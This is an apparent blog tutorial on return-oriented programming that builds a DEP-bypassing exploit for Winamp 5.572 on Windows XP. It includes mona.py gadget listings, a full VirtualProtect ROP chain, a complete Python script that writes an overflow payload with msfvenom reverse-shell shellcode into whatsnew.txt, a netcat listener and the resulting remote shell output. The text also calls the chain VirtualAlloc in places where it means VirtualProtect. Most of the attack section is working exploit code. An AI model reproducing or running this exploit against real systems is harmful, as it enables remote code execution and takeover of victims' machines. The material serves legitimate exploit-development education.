An evolution on basic stack smashing, return oriented programming (or ROP) was first presented by Solar Designer in 1997, as an innovative solution to crafting a complete program by daisy chaining up instructions that already exist within the address space of the program.

Because existing legitimate executable instructions are chained together, is an effective way of bypassing non-executable stack (DEP) and code signing mitigations employed by most modern OS’s.

An attacker gains control of the IP by overflowing the stack (i.e. buffer overflow or stack smash), to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present programs address space. The individual pieces are known as gadgets. Each gadget typically ends in a return (RET) instruction. Chained together, these gadgets allow an attacker to perform arbitrary operations.

A sample of some ROP gadgets discovered by mona.py on the winamp executable:

0x7dcf4033 :  # ADD AL,5E # POP EBP # RETN 0x08    ** [mshtml.dll] **   |   {PAGE_EXECUTE_READ}
0x077f99b5 :  # POP EDI # RETN    ** [in_vorbis.dll] **   |   {PAGE_EXECUTE_READ}
0x081d5557 :  # XOR EAX,EAX # INC EAX # POP EBP # RETN 0x10    ** [auth.w5s] **   |  ascii {PAGE_EXECUTE_READ}
0x7cb67a02 :  # POP ECX # MOV EAX,ESI # POP ESI # POP EBP # RETN 0x04    ** [SHELL32.dll] **   |   {PAGE_EXECUTE_READ}
0x079a47ab :  # POP ESI # RETN 0x04    ** [ml_online.dll] **   |   {PAGE_EXECUTE_READ}
0x7e2f6ad3 :  # POP ESI # POP EBP # RETN 0x04    ** [shdocvw.dll] **   |   {PAGE_EXECUTE_READ}
0x5ad7be98 :  # POP EDX # MOV DWORD PTR DS:[ESI],EAX # POP ESI # POP EBP # RETN 0x04    ** [UxTheme.dll] **   |   {PAGE_EXECUTE_READ}
0x7e2f6ad4 :  # POP EBP # RETN 0x04    ** [shdocvw.dll] **   |   {PAGE_EXECUTE_READ}
0x0741555e :  # DEC ECX # POP ES # RETN    ** [gen_ff.dll] **   |  ascii {PAGE_EXECUTE_READ}
0x774feab2 :  # POP ESI # POP EBP # RETN 0x08    ** [ole32.dll] **   |   {PAGE_EXECUTE_READ}

Windows Example - Winamp 5.572 on XP with DEP (non executable stack)

Based on the previous non-DEP based exploit of Winamp, that was detailed in my previous post Smashing the Stack, have already done much of the ground work around defining the buffer overflow, such as the exact offset in bytes needed to gain control of the EIP. The basic steps we covered in a the classic (non-DEP) stack smash:

  1. Determining the exact offset in bytes to control the EIP
  2. Finding a JMP ESP trampoline gadget, to launch into the correct instruction on the stack.
  3. Making the shellcode to call home to a reverse shell as a native x86 windows (PE) binary, in python format.
  4. Tying the exploit together as a simple python script.

This is great, as allot of the above is still useful. In the case of a ROP exploit, instead of triggering the JMP ESP trampoline gadget, need to incorporate the ROP chain to disable non executable stack instructions, so we can get the processor to run the shellcode which we also spray onto the stack.

Step 1: Evaluate ROP gadgets and chains

Using the mona.py framework with immunity debugger for windows, are going to get mona to sift through every instruction in the program and all its modules (dll’s) for useful ROP gadgets.

Once you have pointed immunity at winamp.exe, make sure you start it with F9, this will trigger the linker to link in dynamic libraries into the address space of the program. At this point, invoke the rop command on winamp.exe and all its modules:

!mona rop -cpb '\x00\x20\x0a\x0d' -m *

This is a very intensive process, and for a moderately sized program like winamp, can take hours. A number of text reports are generated:

  • rop.txt the complete (enormous) listing of discovered gadgets
  • rop_chains.txt some auto assembled chains for bypassing common mitigations (e.g. VirtualAlloc on Windows, to allow executable stack)
  • rop_suggestions.txt a sorted and grouped listing of gadgets.

Raw listing of gadgets from rop.txt:

Interesting gadgets
-------------------
0x7dcf4033 :  # ADD AL,5E # POP EBP # RETN 0x08    ** [mshtml.dll] **   |   {PAGE_EXECUTE_READ}
0x077f99b5 :  # POP EDI # RETN    ** [in_vorbis.dll] **   |   {PAGE_EXECUTE_READ}
0x081d5557 :  # XOR EAX,EAX # INC EAX # POP EBP # RETN 0x10    ** [auth.w5s] **   |  ascii {PAGE_EXECUTE_READ}
0x7cb67a02 :  # POP ECX # MOV EAX,ESI # POP ESI # POP EBP # RETN 0x04    ** [SHELL32.dll] **   |   {PAGE_EXECUTE_READ}
0x079a47ab :  # POP ESI # RETN 0x04    ** [ml_online.dll] **   |   {PAGE_EXECUTE_READ}
0x7e2f6ad3 :  # POP ESI # POP EBP # RETN 0x04    ** [shdocvw.dll] **   |   {PAGE_EXECUTE_READ}
0x774feab1 :  # POP EDI # POP ESI # POP EBP # RETN 0x08    ** [ole32.dll] **   |   {PAGE_EXECUTE_READ}
0x76fd555a :  # MOV DWORD PTR DS:[EAX+8],ECX # MOV DWORD PTR DS:[EAX+C],ECX # RETN    ** [CLBCATQ.DLL] **   |   {PAGE_EXECUTE_READ}
0x7752aab0 :  # DEC ECX # RETN 0x08    ** [ole32.dll] **   |   {PAGE_EXECUTE_READ}
0x0741555b :  # MOV EAX,gen_ff.0749E324 # RETN    ** [gen_ff.dll] **   |  ascii {PAGE_EXECUTE_READ}
0x7ca1555d :  # TEST BYTE PTR DS:[EAX+EAX],AL # POP ESI # POP EBP # RETN 0x18    ** [SHELL32.dll] **   |   {PAGE_EXECUTE_READ}
0x5ad7be98 :  # POP EDX # MOV DWORD PTR DS:[ESI],EAX # POP ESI # POP EBP # RETN 0x04    ** [UxTheme.dll] **   |   {PAGE_EXECUTE_READ}
0x7d7e88ee :  # NEG ECX # MOV EAX,ECX # POP EBP # RETN 0x04    ** [WMVCore.DLL] **   |   {PAGE_EXECUTE_READ}
0x7e2f6ad4 :  # POP EBP # RETN 0x04    ** [shdocvw.dll] **   |   {PAGE_EXECUTE_READ}
0x0741555e :  # DEC ECX # POP ES # RETN    ** [gen_ff.dll] **   |  ascii {PAGE_EXECUTE_READ}
...

Open up rop-chains.txt which should suggest a work to invoke VirtualProtect to enable executable stack based insutrctions, which in turn will allow the execution of the shellcode.

Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD

Further more, the script even templates the above ready to use into a few mainstream languages (ruby, C, python), here’s the python:

*** [ Python ] ***

  def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x7deb1da7,  # POP EAX # RETN [mshtml.dll] 
      0x59a010f8,  # ptr to &VirtualProtect() [IAT wmdmlog.dll]
      0x07b43279,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [out_ds.dll] 
      0x7de0ce7b,  # XCHG EAX,ESI # RETN [mshtml.dll] 
      0x083cba30,  # POP EBP # RETN [jpeg.w5s] 
      0x5ad86aeb,  # & push esp # ret  [UxTheme.dll]
      0x76cac606,  # POP EAX # RETN [IMAGEHLP.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x08493327,  # NEG EAX # RETN [playlist.w5s] 
      0x7dc82979,  # XCHG EAX,EBX # RETN [mshtml.dll] 
      0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x771bcbe4,  # NEG EAX # RETN [WININET.dll] 
      0x7dc80eed,  # XCHG EAX,EDX # RETN [mshtml.dll] 
      0x7dc5567d,  # POP ECX # RETN [mshtml.dll] 
      0x77e4ac2e,  # &Writable location [ADVAPI32.dll]
      0x0832bbfb,  # POP EDI # RETN [jnetlib.w5s] 
      0x77e8c786,  # RETN (ROP NOP) [RPCRT4.dll]
      0x7dc32ee1,  # POP EAX # RETN [mshtml.dll] 
      0x90909090,  # nop
      0x7e423ad9,  # PUSHAD # RETN [USER32.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

  rop_chain = create_rop_chain()

Step 2: Integrate ROP chain into python exploit

Integrating this into the existing python exploit, made for the classic stack overflow:

import struct

buf = "Winamp 5.572"

# padding up to EIP offset (540 in original)
buf += "A"*540


def create_rop_chain():
    rop_gadgets = [
        0x7deb1da7,  # POP EAX # RETN [mshtml.dll] 
        0x59a010f8,  # ptr to &VirtualProtect() [IAT wmdmlog.dll]
        0x07b43279,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [out_ds.dll] 
        0x7de0ce7b,  # XCHG EAX,ESI # RETN [mshtml.dll] 
        0x083cba30,  # POP EBP # RETN [jpeg.w5s] 
        0x5ad86aeb,  # & push esp # ret  [UxTheme.dll]
        0x76cac606,  # POP EAX # RETN [IMAGEHLP.dll] 
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x08493327,  # NEG EAX # RETN [playlist.w5s] 
        0x7dc82979,  # XCHG EAX,EBX # RETN [mshtml.dll] 
        0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x771bcbe4,  # NEG EAX # RETN [WININET.dll] 
        0x7dc80eed,  # XCHG EAX,EDX # RETN [mshtml.dll] 
        0x7dc5567d,  # POP ECX # RETN [mshtml.dll] 
        0x77e4ac2e,  # &Writable location [ADVAPI32.dll]
        0x0832bbfb,  # POP EDI # RETN [jnetlib.w5s] 
        0x77e8c786,  # RETN (ROP NOP) [RPCRT4.dll]
        0x7dc32ee1,  # POP EAX # RETN [mshtml.dll] 
        0x90909090,  # nop
        0x7e423ad9,  # PUSHAD # RETN [USER32.d
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
buf += rop_chain

buf += "\x90" * 16 # small nop sled

#shell code from msfvenom
buf += "\x40\x43\x4b\x37\x99\x42\x40\x37\x9b\x41\x98\x4b\x4a"
buf += "\xd6\x37\xf5\xf5\xf9\x42\x3f\xfd\xfc\x99\xf9\x98\x40"
buf += "\x37\xf8\x4b\xd6\x3f\x99\x42\x37\x3f\x4b\x99\x48\xfc"
buf += "\x4b\x9b\xd6\x37\x92\x99\x91\x41\x2f\x42\x41\xfd\x91"
buf += "\x4a\x91\x40\x27\x93\x2f\xfd\xfc\xfc\xfd\x37\x49\x98"
buf += "\x4a\xfc\xd6\xf9\x4b\x48\x92\xd6\x93\x3f\xf8\x98\x42"
buf += "\x4b\x37\x37\xf5\x37\x2f\x40\x40\x37\x98\x37\x4a\x99"
buf += "\x9b\x49\x98\xf8\x48\x42\x41\x40\x98\xd9\xc1\xbd\x7a"
buf += "\xfc\x3c\x39\xd9\x74\x24\xf4\x5e\x33\xc9\xb1\x52\x83"
buf += "\xee\xfc\x31\x6e\x13\x03\x14\xef\xde\xcc\x14\xe7\x9d"
buf += "\x2f\xe4\xf8\xc1\xa6\x01\xc9\xc1\xdd\x42\x7a\xf2\x96"
buf += "\x06\x77\x79\xfa\xb2\x0c\x0f\xd3\xb5\xa5\xba\x05\xf8"
buf += "\x36\x96\x76\x9b\xb4\xe5\xaa\x7b\x84\x25\xbf\x7a\xc1"
buf += "\x58\x32\x2e\x9a\x17\xe1\xde\xaf\x62\x3a\x55\xe3\x63"
buf += "\x3a\x8a\xb4\x82\x6b\x1d\xce\xdc\xab\x9c\x03\x55\xe2"
buf += "\x86\x40\x50\xbc\x3d\xb2\x2e\x3f\x97\x8a\xcf\xec\xd6"
buf += "\x22\x22\xec\x1f\x84\xdd\x9b\x69\xf6\x60\x9c\xae\x84"
buf += "\xbe\x29\x34\x2e\x34\x89\x90\xce\x99\x4c\x53\xdc\x56"
buf += "\x1a\x3b\xc1\x69\xcf\x30\xfd\xe2\xee\x96\x77\xb0\xd4"
buf += "\x32\xd3\x62\x74\x63\xb9\xc5\x89\x73\x62\xb9\x2f\xf8"
buf += "\x8f\xae\x5d\xa3\xc7\x03\x6c\x5b\x18\x0c\xe7\x28\x2a"
buf += "\x93\x53\xa6\x06\x5c\x7a\x31\x68\x77\x3a\xad\x97\x78"
buf += "\x3b\xe4\x53\x2c\x6b\x9e\x72\x4d\xe0\x5e\x7a\x98\xa7"
buf += "\x0e\xd4\x73\x08\xfe\x94\x23\xe0\x14\x1b\x1b\x10\x17"
buf += "\xf1\x34\xbb\xe2\x92\xfa\x94\xed\xd3\x93\xe6\xed\x12"
buf += "\xdf\x6e\x0b\x7e\x0f\x27\x84\x17\xb6\x62\x5e\x89\x37"
buf += "\xb9\x1b\x89\xbc\x4e\xdc\x44\x35\x3a\xce\x31\xb5\x71"
buf += "\xac\x94\xca\xaf\xd8\x7b\x58\x34\x18\xf5\x41\xe3\x4f"
buf += "\x52\xb7\xfa\x05\x4e\xee\x54\x3b\x93\x76\x9e\xff\x48"
buf += "\x4b\x21\xfe\x1d\xf7\x05\x10\xd8\xf8\x01\x44\xb4\xae"
buf += "\xdf\x32\x72\x19\xae\xec\x2c\xf6\x78\x78\xa8\x34\xbb"
buf += "\xfe\xb5\x10\x4d\x1e\x07\xcd\x08\x21\xa8\x99\x9c\x5a"
buf += "\xd4\x39\x62\xb1\x5c\x49\x29\x9b\xf5\xc2\xf4\x4e\x44"
buf += "\x8f\x06\xa5\x8b\xb6\x84\x4f\x74\x4d\x94\x3a\x71\x09"
buf += "\x12\xd7\x0b\x02\xf7\xd7\xb8\x23\xd2"

with open('C:\Program Files\Winamp\whatsnew.txt', 'w') as file:
    file.write(buf)

Step 3: Start a listener to catch reverse shell

On the remote host destined to catch the remote shell when the exploit triggers (defined by LHOST by msfvenom when crafting the payload), a Kali VM in this instance, make sure a TCP/IP server is running ready to catch and echo the shell when delivered from the victim host by the exploit. Keeping life simple with netcat:

# nc -l -p 443

Step 4: Run exploit (attempt 1)

Trigger the overflow by accessing the Help | Version History menu. This immediately crashes the program, with a Data Execution Prevention exception triggered by the OS:

Access violation when executing [00B7EF74]

What gives? The VirtualAlloc ROP chain was meant to disable DEP, and execute the shellcode. But instead, DEP killed the program.

Step 5: Debug winamp.exe with Immunity Debugger

To help shed some light on the sitution, we need to enact a debugger. Given we are on Windows, will use Immunity Debugger. Running winamp under Immunity, place a break point on the very first ROP chain gadget (0x7deb1da7).

  • Once you have pointed immunity at winamp.exe, make sure you start it with F9, this will trigger the linker to link in dynamic libraries into the address space of the program.
  • On the CPU - main thread, module pane (which comprises of 4 sub panes), select the top left hand sub-pane, and locate instruction 0x7deb1da7 by using ctrl+g. Press F2 to drop a break.
  • Now trigger the overflow exploit by using in the Help | Version History menu, with the crafted whatsnew.txt payload that was made using the python script.
  • Immunity will hit the breakpoint, of the first ROP gadget.
  • Again in the CPU - main thread, module pane, examine the lower right hand sub-pane this time to look at the memory around the stack pointer (SP), which immunity handily highlights.
  • Note the series of A’s used to flood the buffer up until the EIP. The instructions that follow immediately are the ROP chain.

immunity debugger screenshot of the problem

As can be seen in the above screenshot, the ESP, oddly, does not line up with the first instruction of the ROP chain, its 16 bytes ahead of the first ROP gadget instruction. This means as soon as the POP EAX and RET instructions of the first gadget are executed, the EIP will jump straight to the 7th gadget of the ROP chain, not the 3rd gadget as intended! Or more visually, the problem is the gap between the EIP and ESP:

             0x00000000
        
        |        ...        |
        |-------------------|
        |  41414141 (AAAA)  | 0x00B7EF44
        |-------------------|
        |  41414141 (AAAA)  | 0x00B7EF48
        |-------------------|
EIP ->  |  7DEB1DA7 (ROP1)  | 0x00B7EF4C
        |-------------------|
        |  59A010F8 (ROP2)  | 0x00B7EF50
        |-------------------|
        |  07B43279 (ROP3)  | 0x00B7EF54
        |-------------------|
        |  7DE0CE7B (ROP4)  | 0x00B7EF58
        |-------------------|
        |  083CBA30 (ROP5)  | 0x00B7EF5C
        |-------------------|
ESP ->  |  5AD86AEB (ROP6)  | 0x00B7EF60
        |-------------------|
        |  76CAC606 (ROP7)  | 0x00B7EF64
        |-------------------|
        |        ...        |
        
             0xFFFFFFFF

This is not good at all and completely mangles the intended sequence of the ROP chain.

The first ROP gadget does a POP EAX followed by a RET. Walking through this a bit further:

  • POP EAX takes the value that the ESP is currently pointing to (0x00B7EF60) and stores its value (0x5AD86AEB) into EAX. A POP instruction will almost always be followed by a piece of interesting data like a pointer to a function or a literal value. After the data has been stored in the target register, POP finishes up by reducing the stack pointer ESP down (as an x86 stack grows downwards, the ESP will increase when POPed) by 4 bytes to 0x00B7EF64 (the 7th piece of the ROP chain).
  • RET puts the current stack pointer value (0x76CAC606), the 7th piece of the ROP chain into the EIP, and reduces the stack pointer by 4 bytes (the same way a POP would), to the 8th piece of the ROP chain.

In a nutshell the wrong instructions are being passed the wrong data, with several instructions being completely missed. A real mess.

To align the stack pointer (ESP) with the second step in the ROP chain, could introduce some padding, between the first and second gadgets. The actual bytes of this padding doesn’t matter as the bytes are simply being used for alignment, and will never be executed. 16 bytes of NOP (0x90) should result in ESP lined up perfectly with the second ROP gadget, like this:

             0x00000000
        
        |        ...        |
        |-------------------|
        |  41414141 (AAAA)  | 0x00B7EF44
        |-------------------|
        |  41414141 (AAAA)  | 0x00B7EF48
        |-------------------|
EIP ->  |  7DEB1DA7 (ROP1)  | 0x00B7EF4C
        |-------------------|
        |  90909090 (PAD)   | 0x00B7EF50
        |-------------------|
        |  90909090 (PAD)   | 0x00B7EF54
        |-------------------|
        |  90909090 (PAD)   | 0x00B7EF58
        |-------------------|
        |  90909090 (PAD)   | 0x00B7EF5C
        |-------------------|
ESP ->  |  59A010F8 (ROP2)  | 0x00B7EF60
        |-------------------|
        |  07B43279 (ROP3)  | 0x00B7EF64
        |-------------------|
        |        ...        |
        
             0xFFFFFFFF

Or more concretely in the python script for the exploit:

def create_rop_chain():
    rop_gadgets = [
        0x7deb1da7,  # POP EAX # RETN [mshtml.dll] 
        0x90909090,  # padding to align ESP
        0x90909090,  # padding to align ESP
        0x90909090,  # padding to align ESP
        0x90909090,  # padding to align ESP
        0x59a010f8,  # ptr to &VirtualProtect() [IAT wmdmlog.dll]
        0x07b43279,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [out_ds.dll] 
        0x7de0ce7b,  # XCHG EAX,ESI # RETN [mshtml.dll] 
        0x083cba30,  # POP EBP # RETN [jpeg.w5s] 
        0x5ad86aeb,  # & push esp # ret  [UxTheme.dll]
        0x76cac606,  # POP EAX # RETN [IMAGEHLP.dll] 
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x08493327,  # NEG EAX # RETN [playlist.w5s] 
        0x7dc82979,  # XCHG EAX,EBX # RETN [mshtml.dll] 
        0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x771bcbe4,  # NEG EAX # RETN [WININET.dll] 
        0x7dc80eed,  # XCHG EAX,EDX # RETN [mshtml.dll] 
        0x7dc5567d,  # POP ECX # RETN [mshtml.dll] 
        0x77e4ac2e,  # &Writable location [ADVAPI32.dll]
        0x0832bbfb,  # POP EDI # RETN [jnetlib.w5s] 
        0x77e8c786,  # RETN (ROP NOP) [RPCRT4.dll]
        0x7dc32ee1,  # POP EAX # RETN [mshtml.dll] 
        0x90909090,  # nop
        0x7e423ad9,  # PUSHAD # RETN [USER32.d
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
buf += rop_chain

Now under immunity can see the NOP padding has correctly aligned up the ROP chain with the ESP:

immunity debugger screenshot of the solution

Re-generating the new payload whatsnew.txt and triggering the buffer overflow, will now correctly execute the ROP chain call to VirtualAlloc, which in turn will enable executable pages on the stack, and allow the execution of the shellcode instructions with DEP enabled! The netcat listener catches the reverse shell as expected:

$ sudo nc -l -p 443
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Winamp>